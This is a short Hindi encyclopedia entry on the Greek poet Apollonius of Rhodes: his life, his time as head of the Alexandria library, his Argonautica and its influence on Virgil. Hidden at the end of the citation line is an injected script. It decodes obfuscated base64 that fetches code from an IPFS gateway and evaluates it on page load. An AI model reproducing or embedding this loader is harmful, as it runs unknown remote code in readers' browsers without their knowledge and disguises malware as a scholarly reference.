अपोलोनियस

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अपोलोनियस (रोद्स का) (ई.पू. तीसरी शताब्दी), संभवतया सिकंदरिया अथवा नौक्रातिस्‌ का निवासी था पर चूंकि अपने जीवन के अंतिम दिनों में वह रोदस में बस गया था, वहीं का रहनेवाला कहा जाने लगा। इसने कल्लीमाकस्‌ से शिक्षा प्राप्त की थी पर आगे चलकर दोनों में महान कलह हो गया। यह ज़ेनोदोतस्‌ और ऐरातोस्थेनेस्‌ के मध्यवर्ती काल में सिकंदरिया के सुविख्यात पुस्तकालय का अध्यक्ष रहा। इसने गद्य और पद्य दोनों में बहुत कुछ लिखा था। पद्य में नगरों की स्थापना की पुस्तक तथा आर्गोनाउतिका अधिक प्रसिद्ध है। आर्गोनाउतिका में यासन्‌ और मोदिया के प्रेम का वर्णन अभिराम हुआ है। इसकी उपमाएँ कालिदास की उपमाओं के समान विख्यात हैं। परवर्ती रोमन कवियों (विशेषकर वर्जिल) पर इसका गहरा प्रभाव पड़ा है।[1]




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टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 1 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 148 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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